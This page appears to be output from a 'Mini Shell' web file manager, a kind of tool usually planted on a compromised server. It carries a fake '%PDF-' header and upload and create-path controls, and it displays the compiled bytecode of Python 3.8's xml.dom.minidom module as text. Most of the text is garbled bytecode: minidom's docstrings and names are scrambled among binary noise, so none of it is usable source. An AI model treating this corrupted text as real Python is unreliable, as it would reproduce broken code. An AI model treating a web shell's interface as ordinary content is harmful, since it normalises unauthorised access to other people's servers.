%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/xml/dom/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.pyc

U

qa)@sdZddlZddlZddlmZmZmZmZddlTddl	m
Z
mZejj
jejj
jfZGdddejj
Z
ee
dd	d
ee
ddd
ee
d
dd
ddZddZddZddZddZGddde
ZGddde
Zeeddd
eed
dd
eed d!d
Gd"d#d#eZeed$d%d
eZGd&d'd'eZeddZGd(d)d)e
Zeed*d+d
eed
d,d
d-d.ZGd/d0d0Z Gd1d2d2e e
Z!Gd3d4d4e e
Z"ee"d$d5d
Gd6d7d7e"Z#ee#d8d9d
ee#d:d;d
d<d=Z$d>d?Z%Gd@dAdAe"Z&GdBdCdCe#Z'GdDdEdEeZ(ee(d$dFd
GdGdHdHZ)GdIdJdJe)e e
Z*GdKdLdLe)e
Z+GdMdNdNe)e e
Z,GdOdPdPe
Z-GdQdRdReZ.dSdTZ/GdUdVdVe
eZ0ee0dWdXd
dYdZZ1d[d\Z2d]d^Z3ded_d`Z4dfdadbZ5dgdcddZ6dS)hacSimple implementation of the Level 1 DOM.

Namespaces and other minor Level 2 features are also supported.

parse("foo.xml")

parseString("<foo><bar/></foo>")

Todo:
=====
 * convenience methods for getting elements and text.
 * more testing
 * bring some of the writer and linearizer code into conformance with this
        interface
 * SAX 2 namespaces
N)EMPTY_NAMESPACEEMPTY_PREFIXXMLNS_NAMESPACEdomreg)*)DOMImplementationLS
DocumentLSc@seZdZdZdZdZdZdZeZ	ddZ
d2ddZd3dd	Zd
dZ
dd
ZddZddZddZddZddZddZddZddZddZd d!Zd"d#Zd$d%Zd&d'Zd(d)Zd*d+Zd,d-Zd.d/Zd0d1Z dS)4NodeNcCsdS)NTselfr
r
+/usr/local/lib/python3.8/xml/dom/minidom.py__bool__+sz
Node.__bool__cCs|dd|SN)toprettyxml)rencodingr
r
r
toxml.sz
Node.toxml	
cCsx|dkrt}ntjt|ddd}|jtjkrH||d|||n||d|||dkrh|S|	SdS)Nxmlcharrefreplacer)rerrorsnewliner)
ioStringIO
TextIOWrapperBytesIOnodeTyper	
DOCUMENT_NODEwritexmlgetvaluedetach)rindentnewlrwriterr
r
r
r1s

zNode.toprettyxmlcCs
t|jSN)bool
childNodesrr
r
r

hasChildNodesCszNode.hasChildNodescCs|jSr%r'rr
r
r
_get_childNodesFszNode._get_childNodescCs|jr|jdSdSNrr)rr
r
r
_get_firstChildIszNode._get_firstChildcCs|jr|jdSdSNr)rr
r
r
_get_lastChildMszNode._get_lastChildcCs
|j|jkr,t|jD]}|||q|S|j|jkrTtjdt	|t	|f|j
dk	rj|j
||dkr~||nz|j
|}Wntk
rtjYnX|jtkrt||j||||_||_|r|j|d}||_||_nd|_||_
|S)N%s cannot be child of %s)rDOCUMENT_FRAGMENT_NODEtupler'insertBefore_child_node_typesxmldomHierarchyRequestErrrepr
parentNoderemoveChildappendChildindex
ValueErrorNotFoundErr_nodeTypes_with_children_clear_id_cacheinsertnextSiblingpreviousSibling)rnewChildrefChildcr=noder
r
r
r4Qs8

zNode.insertBeforecCs|j|jkr*t|jD]}||q|S|j|jkrTtjdt	|t	|fn|jt
krft||jdk	r||j
|t||d|_|SNr0)rr2r3r'r<r5r6r7r8r9r@rAr:r;
_append_childrC)rrHrGr
r
r
r<qs


zNode.appendChildcCs|j|jkr(|j}|||||S|j|jkrPtjdt	|t	|f||kr\dS|j
dk	rr|j
|z|j|}Wnt
k
rtjYnX||j|<||_
d|_
|jtks|jtkrt||j|_|j|_d|_d|_|jr||j_|jr||j_|SrI)rr2rCr;r4r5r6r7r8r9r:r'r=r>r?r@rArD)rrEoldChildrFr=r
r
r
replaceChilds@



zNode.replaceChildcCsz|j|Wntk
r.tjYnX|jdk	rD|j|j_|jdk	rX|j|j_d|_|_|jt	krvt
|d|_|Sr%)r'remover>r6r7r?rCrDrr@rAr:rrKr
r
r
r;s




zNode.removeChildcCsg}|jD]}|jtjkr|jsJ|r0|j|d_|jr@|j|j_|q|r|dj|jkr|d}|j|j|_|j|_|jr||j_|q||q
|||jtj	kr
|
q
||jdd<dSr-)r'rr		TEXT_NODEdatarCrDunlinkappendELEMENT_NODE	normalize)rLchildrHr
r
r
rTs*





zNode.normalizecCst|||jp|Sr%)_clone_node
ownerDocument)rdeepr
r
r
	cloneNodeszNode.cloneNodecCs|jj||Sr%)rXimplementation
hasFeaturerfeatureversionr
r
r
isSupportedszNode.isSupportedcCsdSr%r
rr
r
r
_get_localNameszNode._get_localNamecCs||kSr%r
rotherr
r
r

isSameNodeszNode.isSameNodecCs||dr|SdSdSr%)r`rr^r
r
r
getInterfaceszNode.getInterfacec	Cs0z|j|dWSttfk
r*YdSXdSr+)
_user_dataAttributeErrorKeyErrorrkeyr
r
r
getUserDataszNode.getUserDatacCsnd}z
|j}Wntk
r,i}||_YnX||krB||d}|dkr^d}|dk	rj||=n||f||<|Sr+)rgrh)rrkrPhandlerolddr
r
r
setUserDatas
zNode.setUserDatacCsDt|dr@t|jD]&\}\}}|dk	r||||||qdS)Nrg)hasattrlistrgitemshandle)r	operationsrcdstrkrPrmr
r
r
_call_user_data_handlers
zNode._call_user_data_handlercCs>d|_|_|jr.|jD]}|qt|_d|_d|_dSr%)r:rXr'rQNodeListrDrC)rrVr
r
r
rQs

zNode.unlinkcCs|Sr%r
rr
r
r
	__enter__szNode.__enter__cCs|dSr%)rQ)retZevtbr
r
r
__exit__sz
Node.__exit__)N)rrN)!__name__
__module____qualname__namespaceURIr:rXrCrDrprefixrrrr(r*r,r/r4r<rLr;rTrZr`rardrfrlrprxrQrzr}r
r
r
r
r	"s:

  
r	
firstChildzFirst child node, or None.)doc	lastChildzLast child node, or None.	localNamez"Namespace-local name of this node.cCs2|j}|r|d}||_||_||||_dSr-)r'rDrCrRr:)rrHr'Zlastr
r
r
rJs
rJcCs$|dk	r |jtjkrdS|j}qdSNTF)rr	rr:rHr
r
r
_in_document&s
rcCs6|r2|dddddddd}||d	S)
zWrites datachars to writer.&z&amp;<z&lt;"z&quot;>z&gt;N)replacewrite)r$rPr
r
r
_write_data.srcCsD|jD]8}|jtjkr2|dks(|j|kr2||t|||q|SNr)r'rr	rStagNamerR_get_elements_by_tagName_helper)parentnamercrHr
r
r
r5s

rcCsX|jD]L}|jtjkr|dks(|j|krD|dks:|j|krD||t||||q|Sr)r'rr	rSrrrR"_get_elements_by_tagName_ns_helper)rZnsURIrrrHr
r
r
r=s

rc@sJeZdZejZdZdZdZdZ	ej
ejejej
ejejejfZddZdS)DocumentFragmentz#document-fragmentNcCst|_dSr%)ryr'rr
r
r
__init__TszDocumentFragment.__init__)r~rrr	r2rnodeName	nodeValue
attributesr:rSrOCDATA_SECTION_NODEENTITY_REFERENCE_NODEPROCESSING_INSTRUCTION_NODECOMMENT_NODE
NOTATION_NODEr5rr
r
r
r
rFsrc@seZdZdZejZdZdZdZ	ej
ejfZe
ddfddZddZdd	Zd
dZdd
ZeeeZZddZddZeeeZZddZddZeeeZddZddZddZdS)Attr)_name_valuer_prefixr'
_localNamerXownerElementNFcCs2d|_||_||_||_t|_|jtdSr%)rrrrryr'rRText)rqNamerrrr
r
r
rbsz
Attr.__init__cCs4z|jWStk
r.|jdddYSXdSN:r1r.)rrhrsplitrr
r
r
raoszAttr._get_localNamecCs|jSr%)	specifiedrr
r
r
_get_specifieduszAttr._get_specifiedcCs|jSr%)rrr
r
r
	_get_namexszAttr._get_namecCs||_|jdk	rt|jdSr%)rrrArvaluer
r
r
	_set_name{s
zAttr._set_namecCs|jSr%)rrr
r
r

_get_valueszAttr._get_valuecCs6||_||jd_|jdk	r&t|j||jd_dSr+)rr'rPrrArr
r
r

_set_values


zAttr._set_valuecCs|jSr%)rrr
r
r
_get_prefixszAttr._get_prefixcCsd|j}|dkr&|r&|tkr&tjd||_|dkr<|j}nd||jf}|jrZt|j||_	dS)Nxmlnsz5illegal use of 'xmlns' prefix for the wrong namespacez%s:%s)
rrr6r7NamespaceErrrrrrAr)rrZnsuriZnewNamer
r
r
_set_prefixs
zAttr._set_prefixcCsv|j}|dk	rR|j|j=|j|j|jf=|jrRd|_|jd8_|jj	d8_	|j
D]}|qX|j
dd=dS)NFr1)r_attrsr_attrsNSrr_is_id_magic_id_nodesrX_magic_id_countr'rQ)relemrVr
r
r
rQs


zAttr.unlinkcCsf|jr
dS|j}|j}|dks&|dkr*dS||}|dkr@dS|jrV||j|jS||jSdSr)	rrXr_get_elem_inforisIdNSrisIdrrrrinfor
r
r
	_get_isIds
zAttr._get_isIdcCs\|j}|j}|dks|dkr tS||}|dkr6tS|jrL||j|jS||jSdSr%)	rXr_no_typerrgetAttributeTypeNSrgetAttributeTyperrr
r
r
_get_schemaTypes
zAttr._get_schemaType) r~rr	__slots__r	ATTRIBUTE_NODErrrrrOrr5rrrarrrpropertyrrrrrrrrrrQrrr
r
r
r
rXs.


rrz True if this attribute is an ID.z'Namespace-local name of this attribute.
schemaTypezSchema type for this attribute.c@seZdZdZdZddZddZddZd	d
ZddZ	d
dZ
ddZddZddZ
d:ddZeZddZddZddZddZd d!Zd"d#Zd$d%Zd&d'Zd(d)Zd*d+Zd,d-Zd.d/Zd0d1Zd2d3Zd4d5Zd6d7Zd8d9Z dS);NamedNodeMapaThe attribute list is a transient interface to the underlying
    dictionaries.  Mutations here will change the underlying element's
    dictionary.

    Ordering is imposed artificially and does not reflect the order of
    attributes as found in an input document.
    rr
_ownerElementcCs||_||_||_dSr%r)rattrsZattrsNSrr
r
r
rszNamedNodeMap.__init__cCs
t|jSr%)lenrrr
r
r
_get_lengthszNamedNodeMap._get_lengthcCs4z|t|j|WStk
r.YdSXdSr%)rrrkeys
IndexErrorrr=r
r
r
itemszNamedNodeMap.itemcCs*g}|jD]}||j|jfq|Sr%)rvaluesrRrrrrUrHr
r
r
rsszNamedNodeMap.itemscCs0g}|jD]}||j|jf|jfq|Sr%)rrrRrrrrr
r
r
itemsNSszNamedNodeMap.itemsNScCs"t|tr||jkS||jkSdSr%)
isinstancestrrrrjr
r
r
__contains__s

zNamedNodeMap.__contains__cCs
|jSr%)rrrr
r
r
rszNamedNodeMap.keyscCs
|jSr%)rrrr
r
r
keysNSszNamedNodeMap.keysNScCs
|jSr%)rrrr
r
r
rszNamedNodeMap.valuesNcCs|j||Sr%rget)rrrr
r
r
r
szNamedNodeMap.getcCs:|jt|ddkrdSt|t|kt|t|kSdS)Nrr)rgetattridrbr
r
r
_cmpszNamedNodeMap._cmpcCs||dkSr+rrbr
r
r
__eq__szNamedNodeMap.__eq__cCs||dkSr+rrbr
r
r
__ge__szNamedNodeMap.__ge__cCs||dkSr+rrbr
r
r
__gt__szNamedNodeMap.__gt__cCs||dkSr+rrbr
r
r
__le__szNamedNodeMap.__le__cCs||dkSr+rrbr
r
r
__lt__!szNamedNodeMap.__lt__cCs"t|tr|j|S|j|SdSr%)rr3rr)rattname_or_tupler
r
r
__getitem__$s

zNamedNodeMap.__getitem__cCsvt|trRz|j|}Wn0tk
rHt|}|jj|_||YnX||_n t|tsdt	d|}||dS)Nz%value must be a string or Attr object)
rrrrirrrXsetNamedItemr	TypeError)rattnamerrHr
r
r
__setitem__+s


zNamedNodeMap.__setitem__cCs(z|j|WStk
r"YdSXdSr%)rrirrr
r
r
getNamedItem:szNamedNodeMap.getNamedItemcCs,z|j||fWStk
r&YdSXdSr%)rrirrrr
r
r
getNamedItemNS@szNamedNodeMap.getNamedItemNScCsX||}|dk	rJt|j|j|j=|j|j|jf=t|drFd|_	|St
jdSNr)
rrArrrrrrrqrr6r7r?rrnr
r
r
removeNamedItemFs



zNamedNodeMap.removeNamedItemcCsZ|||}|dk	rLt|j|j|j|jf=|j|j=t|drHd|_	|St
jdSr)
rrArrrrrrrqrr6r7r?rrrrr
r
r
removeNamedItemNSRs


zNamedNodeMap.removeNamedItemNScCstt|ts&tjdt|t|f|j|j}|r@|	||j|j<||j
|j|jf<|j
|_t|j|SrI)rrr6r7r8r9rrrrQrrrrrrA)rrHrnr
r
r
r^s

zNamedNodeMap.setNamedItemcCs
||Sr%)rrrHr
r
r
setNamedItemNSkszNamedNodeMap.setNamedItemNScCs||}t|j|dSr%)rArrQ)rrrHr
r
r
__delitem__ns
zNamedNodeMap.__delitem__cCs|j|j|jfSr%rrr
r
r
__getstate__sszNamedNodeMap.__getstate__cCs|\|_|_|_dSr%rrstater
r
r
__setstate__vszNamedNodeMap.__setstate__)N)!r~rr__doc__rrrrrsrrrrrr__len__rrrrrrrrrrrrrrrrrr
r
r
r
rs<

rlengthz$Number of nodes in the NamedNodeMap.c@s0eZdZdZddZddZddZdd	Zd
S)TypeInfo	namespacercCs||_||_dSr%r)rrrr
r
r
rszTypeInfo.__init__cCs2|jrd|jj|j|jfSd|jj|jfSdS)Nz<%s %r (from %r)>z<%s %r>)r	__class__r~rrr
r
r
__repr__s
zTypeInfo.__repr__cCs|jSr%)rrr
r
r
rszTypeInfo._get_namecCs|jSr%)rrr
r
r
_get_namespaceszTypeInfo._get_namespaceN)r~rrrrrrrr
r
r
r
rs
rc@s eZdZdZejZdZeZ	dZ
ejejejej
ejejfZeddfddZddZdd	Zd
dZdd
ZddZddZddZddZddZddZddZeZddZddZ d d!Z!e!Z"d"d#Z#d$d%Z$d&d'Z%d(d)Z&d*d+Z'd9d-d.Z(d/d0Z)d1d2Z*d3d4Z+d5d6Z,d7d8Z-dS):Element)rXr:rrrrrr'rrrCrDNrcCsBd|_||_|_||_||_t|_d|_|_d|_	d|_
dSr%)r:rrrrryr'rCrDrr)rrrrrr
r
r
rs
zElement.__init__cCs|jdkri|_i|_dSr%)rrrr
r
r
_ensure_attributess
zElement._ensure_attributescCs4z|jWStk
r.|jdddYSXdSr)rrhrrrr
r
r
raszElement._get_localNamecCs|jSr%rrr
r
r
_get_tagNameszElement._get_tagNamecCs@|jdk	r&t|jD]}|qd|_d|_t|dSr%)rrrrrQrr	)rattrr
r
r
rQs

zElement.unlinkcCs8|jdkrdSz|j|jWStk
r2YdSXdSr)rrri)rrr
r
r
getAttributes
zElement.getAttributecCs<|jdkrdSz|j||fjWStk
r6YdSXdSr)rrrirr
r
r
getAttributeNSs
zElement.getAttributeNScCsV||}|dkr4t|}||_|j|_||n||jkrR||_|jrRt|dSr%)getAttributeNoderrrXsetAttributeNoderrA)rrrr
r
r
r
setAttributes

zElement.setAttributecCst|\}}|||}|dkrHt||||}||_|j|_||n4||jkrf||_|jrft||j|kr|||_||_	dSr%)
_nssplitgetAttributeNodeNSrrrXrrrArr)rr
qualifiedNamerr	localnamer
r
r
r
setAttributeNSs

zElement.setAttributeNScCs|jdkrdS|j|Sr%r)rattrnamer
r
r
rs
zElement.getAttributeNodecCs|jdkrdS|j||fSr%)rrrr
r
r
rs
zElement.getAttributeNodeNScCs|jd|fkrtjd||j|jd}|dk	rD|||j	|j
|jfd}|dk	rt||k	rt||t||||k	r|S||k	r|SdS)Nzattribute node already owned)
rr6r7ZInuseAttributeErrr
rrrremoveAttributeNoderrr_set_attribute_node)rr
Zold1Zold2r
r
r
rs


zElement.setAttributeNodecCsP|jdkrtjz|j|}Wntk
r@tjYnX||dSr%)rr6r7r?rrir)rrr
r
r
r
removeAttributes

zElement.removeAttributecCsT|jdkrtjz|j||f}Wntk
rDtjYnX||dSr%)rr6r7r?rir)rrrr
r
r
r
removeAttributeNS%s

zElement.removeAttributeNScCs^|dkrtjz|j|jWntk
r@tjYnXt|||j|_|Sr%)	r6r7r?rrrirArQrXrr
r
r
r.s
zElement.removeAttributeNodecCs|jdkrdS||jkSNFrrr
r
r
hasAttribute>s
zElement.hasAttributecCs|jdkrdS||f|jkSr)rrr
r
r
hasAttributeNSCs
zElement.hasAttributeNScCst||tSr%rryrr
r
r
getElementsByTagNameHszElement.getElementsByTagNamecCst|||tSr%rryrr
r
r
getElementsByTagNameNSKszElement.getElementsByTagNameNScCsd|jt|fS)Nz<DOM Element: %s at %#x>)rrrr
r
r
rOszElement.__repr__rcCs||d|j|}|D],}|d|t|||j|dq$|jr|dt|jdkr|jdjt	j
t	jfkr|jd|dddn4|||jD]}||||||q|||d|j|fn|d	|dS)
Nrz %s="rrr1rrz</%s>%sz/>%s)
rr_get_attributesrrrr'rrr	rOrr)rr$r"	addindentr#rZa_namerHr
r
r
rRs*




zElement.writexmlcCs|t|j|j|Sr%)r
rrrrr
r
r
r%mszElement._get_attributescCs|jr
dSdSdSrrrr
r
r

hasAttributesqszElement.hasAttributescCs||}||dSr%)rsetIdAttributeNode)rridAttrr
r
r
setIdAttributeys
zElement.setIdAttributecCs|||}||dSr%)rr()rrrr)r
r
r
setIdAttributeNS}szElement.setIdAttributeNScCsj|dks||jstjt|dk	r4tj|jsfd|_|jd7_|j	j
d7_
t|dS)NTr1)rdrr6r7r?_get_containing_entrefNoModificationAllowedErrrrrXrrA)rr)r
r
r
r(s

zElement.setIdAttributeNode)rrr).r~rrrr	rSrrrrrrrrOrrr5rrr
rarrQrrrrrrrZsetAttributeNodeNSrrrZremoveAttributeNodeNSrr r"r$rrr%r'r*r+r(r
r
r
r
r	sT
		
r	rz*NamedNodeMap of attributes on the element.z%Namespace-local name of this element.cCs8t||||j|j<||j|j|jf<||_dSr%)rAr
rrrrrr)elementr
r
r
r
rs
rc@sfeZdZdZdZdZeZdZdZ	ddZ
ddZdd	Zd
dZ
dd
ZddZddZddZdS)	ChildlesszMixin that makes childless-ness easy to implement and avoids
    the complexity of the Node methods that deal with children.
    r
NcCsdSr%r
rr
r
r
r,szChildless._get_firstChildcCsdSr%r
rr
r
r
r/szChildless._get_lastChildcCstj|jddS)Nz nodes cannot have childrenr6r7r8rrr
r
r
r<szChildless.appendChildcCsdSrr
rr
r
r
r(szChildless.hasChildNodescCstj|jddSNz nodes do not have childrenr0rrErFr
r
r
r4szChildless.insertBeforecCstj|jddSr1)r6r7r?rrNr
r
r
r;szChildless.removeChildcCsdSr%r
rr
r
r
rTszChildless.normalizecCstj|jddSr1r0rrErKr
r
r
rLszChildless.replaceChild)r~rrrrrZ
EmptyNodeListr'rrr,r/r<r(r4r;rTrLr
r
r
r
r/sr/c@s\eZdZejZdZddZddZddZ	e
ee	Zdd	Zd
dZ
e
ee
Zdd
dZdS)ProcessingInstructiontargetrPcCs||_||_dSr%r5)rr6rPr
r
r
rszProcessingInstruction.__init__cCs|jSr%rPrr
r
r
_get_nodeValuesz$ProcessingInstruction._get_nodeValuecCs
||_dSr%r7rr
r
r
_set_nodeValuesz$ProcessingInstruction._set_nodeValuecCs|jSr%r6rr
r
r

_get_nodeNamesz#ProcessingInstruction._get_nodeNamecCs
||_dSr%r:rr
r
r

_set_nodeNamesz#ProcessingInstruction._set_nodeNamercCs|d||j|j|fdS)Nz
%s<?%s %s?>%s)rr6rPrr$r"r&r#r
r
r
rszProcessingInstruction.writexmlN)rrr)r~rrr	rrrrr8r9rrr;r<rrr
r
r
r
r4s

r4c@sreZdZdZddZddZeZddZdd	Ze	eeZ
Zd
dZdd
Z
ddZddZddZddZdS)
CharacterData)_datarXr:rDrCcCs,d|_|_d|_|_d|_t|dSr)rXr:rDrCr?r	rrr
r
r
rszCharacterData.__init__cCs
t|jSr%)rrPrr
r
r
rszCharacterData._get_lengthcCs|jSr%r?rr
r
r
	_get_dataszCharacterData._get_datacCs
||_dSr%r@rrPr
r
r
	_set_dataszCharacterData._set_datacCs6|j}t|dkrd}nd}d|jj|dd|fS)N
z...rz<DOM %s node "%r%s">r)rPrrr~)rrPZ	dotdotdotr
r
r
rs
zCharacterData.__repr__cCsT|dkrtjd|t|jkr.tjd|dkrBtjd|j|||SNroffset cannot be negative#offset cannot be beyond end of datacount cannot be negativer6r7IndexSizeErrrrProffsetcountr
r
r

substringDataszCharacterData.substringDatacCs|j||_dSr%r7)rargr
r
r

appendDataszCharacterData.appendDatacCsZ|dkrtjd|t|jkr.tjd|rVd|jd|||j|df|_dS)NrrFrG%s%s%srI)rrLrOr
r
r

insertData	szCharacterData.insertDatacCsl|dkrtjd|t|jkr.tjd|dkrBtjd|rh|jd||j||d|_dSrErIrKr
r
r

deleteDataszCharacterData.deleteDatacCsr|dkrtjd|t|jkr.tjd|dkrBtjd|rnd|jd|||j||df|_dS)NrrFrGrHrQrI)rrLrMrOr
r
r
replaceDataszCharacterData.replaceDataN)r~rrrrrrrArCrrPrrrNrPrRrSrTr
r
r
r
r>s			
r>zLength of the string data.c@sHeZdZdZejZdZdZddZ	dddZ
d	d
ZddZd
dZ
dS)rr
z#textNcCs|dks|t|jkr"tjd|}|j|d|_|j|_|j}|jr~||jj	kr~|dkrp|j
|n|j|||jd||_|S)Nrzillegal offset value)rrPr6r7rJrrXrCr:r'r<r4)rrLZnewTextnextr
r
r
	splitText1szText.splitTextrcCst|d||j|fdS)NrQ)rrPr=r
r
r
r@sz
Text.writexmlcCs|jg}|j}|dk	rB|jtjtjfkrB|d|j|j}qqBq|j}|dk	rz|jtjtjfkrz||j|j}qHqzqHd	|S)Nrr)
rPrDrr	rOrrBrCrRjoin)rrUrr
r
r
_get_wholeTextEszText._get_wholeTextcCs|j}|j}|dk	r@|jtjtjfkr@|j}|||}qq@q|j}|sT|||dk	r|jtjtjfkr|j}|||}qTqqT|r||_|SdSdSr%)	r:rDrr	rOrr;rCrP)rZcontentrrrUr
r
r
replaceWholeTextWs*


zText.replaceWholeTextcCsF|jrdSt|}|dkr"dS|j|}|dkr:dS|SdSr)rPstrip_get_containing_elementrXrisElementContent)rrrr
r
r
!_get_isWhitespaceInElementContentss
z&Text._get_isWhitespaceInElementContent)rrr)r~rrrr	rOrrrrVrrXrYr]r
r
r
r
r*s
rZisWhitespaceInElementContentzKTrue iff this text node contains only whitespace and is in element content.Z	wholeTextz.The text of all logically-adjacent text nodes.cCs*|j}|dk	r&|jtjkr|S|j}qdSr%)r:rr	rSrHrGr
r
r
r[sr[cCs*|j}|dk	r&|jtjkr|S|j}qdSr%)r:rr	rr^r
r
r
r,sr,c@s(eZdZejZdZddZdddZdS)	Commentz#commentcCst|||_dSr%)r>rr?rBr
r
r
rs
zComment.__init__rcCs,d|jkrtd|d||j|fdS)Nz--z%'--' is not allowed in a comment nodez
%s<!--%s-->%s)rPr>rr=r
r
r
rs
zComment.writexmlN)rrr)	r~rrr	rrrrrr
r
r
r
r_sr_c@s$eZdZdZejZdZdddZdS)CDATASectionr
z#cdata-sectionrcCs,|jddkrtd|d|jdS)Nz]]>rz$']]>' not allowed in a CDATA sectionz<![CDATA[%s]]>)rPfindr>rr=r
r
r
rszCDATASection.writexmlN)rrr)	r~rrrr	rrrrr
r
r
r
r`sr`c@szeZdZdZdddZddZddZd	d
ZddZd
dZ	ddZ
ddZddZddZ
ddZddZddZdS)ReadOnlySequentialNamedNodeMap_seqr
cCs
||_dSr%rc)rseqr
r
r
rsz'ReadOnlySequentialNamedNodeMap.__init__cCs
t|jSr%rrdrr
r
r
rsz&ReadOnlySequentialNamedNodeMap.__len__cCs
t|jSr%rfrr
r
r
rsz*ReadOnlySequentialNamedNodeMap._get_lengthcCs"|jD]}|j|kr|SqdSr%)rdrrr
r
r
rs

z+ReadOnlySequentialNamedNodeMap.getNamedItemcCs,|jD] }|j|kr|j|kr|SqdSr%)rdrrrr
r
r
rs
z-ReadOnlySequentialNamedNodeMap.getNamedItemNScCs4t|tr|j|}n
||}|dkr0t||Sr%)rr3rrri)rZ
name_or_tuplerHr
r
r
rs

z*ReadOnlySequentialNamedNodeMap.__getitem__cCs4|dkrdSz|j|WStk
r.YdSXdSr+)rdrrr
r
r
rsz#ReadOnlySequentialNamedNodeMap.itemcCstjddSNz"NamedNodeMap instance is read-onlyr6r7r-rr
r
r
rsz.ReadOnlySequentialNamedNodeMap.removeNamedItemcCstjddSrgrhrr
r
r
rsz0ReadOnlySequentialNamedNodeMap.removeNamedItemNScCstjddSrgrhrr
r
r
rsz+ReadOnlySequentialNamedNodeMap.setNamedItemcCstjddSrgrhrr
r
r
rsz-ReadOnlySequentialNamedNodeMap.setNamedItemNScCs|jgSr%rcrr
r
r
rsz+ReadOnlySequentialNamedNodeMap.__getstate__cCs|d|_dSr+rcrr
r
r
rsz+ReadOnlySequentialNamedNodeMap.__setstate__N)r
)r~rrrrrrrrrrrrrrrrr
r
r
r
rbs
	rbz&Number of entries in the NamedNodeMap.c@s,eZdZdZdZddZddZddZd	S)

Identifiedz@Mix-in class that supports the publicId and systemId attributes.publicIdsystemIdcCs||_||_dSr%rj)rrkrlr
r
r
_identified_mixin_initsz!Identified._identified_mixin_initcCs|jSr%)rkrr
r
r

_get_publicIdszIdentified._get_publicIdcCs|jSr%)rlrr
r
r

_get_systemIdszIdentified._get_systemIdN)r~rrrrrmrnror
r
r
r
ris
ric@sHeZdZejZdZdZdZdZ	dZ
ddZddZddZ
dd	d
ZdS)DocumentTypeNcCs2t|_t|_|r&t|\}}||_|j|_dSr%)rbentities	notationsrrr)rrrrr
r
r
r
szDocumentType.__init__cCs|jSr%)internalSubsetrr
r
r
_get_internalSubsetsz DocumentType._get_internalSubsetcCs|jdkrtd}|j|_|j|_tjjj}|rg|j_	g|j
_	|j
j	D]2}t|j|j|j
}|j
j	|||||qH|jj	D]N}t|j|j|j
|j}|j|_|j|_|j|_|jj	|||||q|||||SdSdSr%)rXrprrr6r7UserDataHandlerNODE_CLONEDrqrdrrNotationrkrlrRrxEntitynotationNameactualEncodingrr_)rrYclonerurnotationeentityr
r
r
rZs0

zDocumentType.cloneNodercCs|d||j|jr8|d||j||jfn|jrR|d||jf|jdk	r||d||j|d|d|dS)Nz
<!DOCTYPE z%s  PUBLIC '%s'%s  '%s'z%s  SYSTEM '%s'z []r)rrrkrlrsr=r
r
r
r0s



zDocumentType.writexml)rrr)r~rrr	DOCUMENT_TYPE_NODErrrrkrlrsrrtrZrr
r
r
r
rpsrpc@sfeZdZdZejZdZdZdZ	dZ
ddZddZddZ
dd	Zd
dZdd
ZddZddZdS)rxNcCs$||_||_t|_|||dSr%)rryryr'rm)rrrkrlr|r
r
r
rGszEntity.__init__cCs|jSr%rzrr
r
r
_get_actualEncodingMszEntity._get_actualEncodingcCs|jSr%rrr
r
r

_get_encodingPszEntity._get_encodingcCs|jSr%r_rr
r
r
_get_versionSszEntity._get_versioncCstjddS)Nz(cannot append children to an entity noder6r7r8)rrEr
r
r
r<VszEntity.appendChildcCstjddS)Nz+cannot insert children below an entity noderr2r
r
r
r4ZszEntity.insertBeforecCstjddS)Nz*cannot remove children from an entity noderrNr
r
r
r;^szEntity.removeChildcCstjddS)Nz)cannot replace children of an entity noderr3r
r
r
rLbszEntity.replaceChild)r~rrrr	ZENTITY_NODErrrzrr_rrrrr<r4r;rLr
r
r
r
rx>srxc@seZdZejZdZddZdS)rwNcCs||_|||dSr%)rrm)rrrkrlr
r
r
rjszNotation.__init__)r~rrr	rrrrr
r
r
r
rwfsrwc@sHeZdZddddddddgZd	d
ZddZd
dZddZddZdS)DOMImplementation)core1.0)r2.0)rN)r6r)r6r)r6N)ls-loadz3.0)rNcCs|dkrd}||f|jkSr)lower	_featuresr]r
r
r
r\zszDOMImplementation.hasFeaturec	Cs|r|jdk	rtjd|}|dko8|dko8|dk}|sP|rPtjd|rt|\}}|dkr||dkr|tjd|r|stjd|||}|r|	||	||r||_|_
||_||_|S)Nz(doctype object owned by another DOM treezElement with no namer6z$http://www.w3.org/XML/1998/namespacezillegal use of 'xml' prefixz(illegal use of prefix without namespaces)
r:r6r7WrongDocumentErr_create_documentZInvalidCharacterErrrrcreateElementNSr<rXdoctyper[)	rrrrrZadd_root_elementrrr.r
r
r
createDocuments>


z DOMImplementation.createDocumentcCst|}||_||_|Sr%)rprkrl)rrrkrlrr
r
r
createDocumentTypesz$DOMImplementation.createDocumentTypecCs||dr|SdSdSr%)r\rer
r
r
rfszDOMImplementation.getInterfacecCstSr%)Documentrr
r
r
rsz"DOMImplementation._create_documentN)	r~rrrr\rrrfrr
r
r
r
ros
-rc@s\eZdZdZdZddZddZddZd	d
ZddZ	d
dZ
ddZddZddZ
dS)ElementInfozObject that represents content-model information for an element.

    This implementation is not expected to be used in practice; DOM
    builders should provide implementations which do the right thing
    using information available to it.

    rcCs
||_dSr%rrr
r
r
rszElementInfo.__init__cCstSr%rrZanamer
r
r
rszElementInfo.getAttributeTypecCstSr%rrr
r
r
rszElementInfo.getAttributeTypeNScCsdSrr
rr
r
r
r\szElementInfo.isElementContentcCsdS)zQReturns true iff this element is declared to have an EMPTY
        content model.Fr
rr
r
r
isEmptyszElementInfo.isEmptycCsdS)z7Returns true iff the named attribute is a DTD-style ID.Fr
rr
r
r
rszElementInfo.isIdcCsdS)z<Returns true iff the identified attribute is a DTD-style ID.Fr
rr
r
r
rszElementInfo.isIdNScCs|jSr%rrr
r
r
rszElementInfo.__getstate__cCs
||_dSr%rrr
r
r
rszElementInfo.__setstate__N)r~rrrrrrrr\rrrrrr
r
r
r
rsrcCs>|jtjkr|jd|_nt|r:|jjd|j_dSr%)rr	r	_id_cacheclear_id_search_stackrrXrr
r
r
rAs
rAc@sreZdZdZejejejejfZ	e
ZejZ
dZdZdZdZdZZdZdZdZdZdZdZdZdZddZdd	Zd
dZdd
ZddZ ddZ!ddZ"ddZ#ddZ$ddZ%ddZ&ddZ'ddZ(d d!Z)d"d#Z*d$d%Z+d&d'Z,d(d)Z-d*d+Z.d,d-Z/d.d/Z0d0d1Z1d2d3Z2d4d5Z3d6d7Z4d8d9Z5d:d;Z6d<d=Z7d>d?Z8d@dAZ9dBdCZ:dIdEdFZ;dGdHZ<dS)Jr)
_elem_inforrr'rz	#documentNFrcCs$d|_t|_i|_i|_d|_dSr%)rryr'rrrrr
r
r
rs
